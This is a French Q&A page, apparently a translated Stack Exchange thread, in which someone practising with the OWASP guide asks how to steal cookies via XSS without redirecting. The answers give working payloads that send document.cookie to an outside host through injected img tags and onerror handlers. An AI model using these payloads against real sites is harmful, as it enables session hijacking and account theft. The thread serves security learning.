web-dev-qa-db-fra.com

Vol de cookie XSS sans rediriger vers une autre page

Je m'entraîne en VM en suivant le guide OWASP. Je sais qu'il est possible de voler le cookie en redirigeant vers la page "Faux" etc. mais je voudrais voler le cookie sans rediriger sur un autre page.

Donc, si vous avez un livre d'or et que vous mettez ensuite:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

Comment puis-je mettre cela dans une page existante sans rediriger?

Fondamentalement, ce que je veux, c'est quand quelqu'un clique sur le lien, attrape le cookie et l'imprime quelque part sur la page actuelle. Peut-être dans une balise alt ou autre chose.

Des idées?

22
Thomas

Si vous avez le contrôle total de l'écriture de JavaScript sur la page, vous pouvez simplement faire

document.write('cookie: ' + document.cookie)

Si vous voulez qu'il soit envoyé à un autre serveur, vous pouvez l'inclure dans une image inexistante:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

La clé ici est de savoir si vous pouvez générer du JavaScript arbitraire ou si vous êtes limité dans le type de JavaScript que vous pouvez exécuter. Bien que si vous êtes limité dans ce qui peut être produit, vous pouvez utiliser des méthodes plus avancées pour exécuter votre code personnalisé, ce qui est un peu hors de portée de la question.

30
Steve

Pour compléter la réponse de Steve, il existe de nombreuses façons différentes d'y parvenir. Si votre intention est de ne pas informer l'utilisateur du cookie volé, je suggère à <img> attaque suggérée par Steve. Bien que je préfère éviter le document.write car il utilise autant de caractères:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
10
disk0nn3ct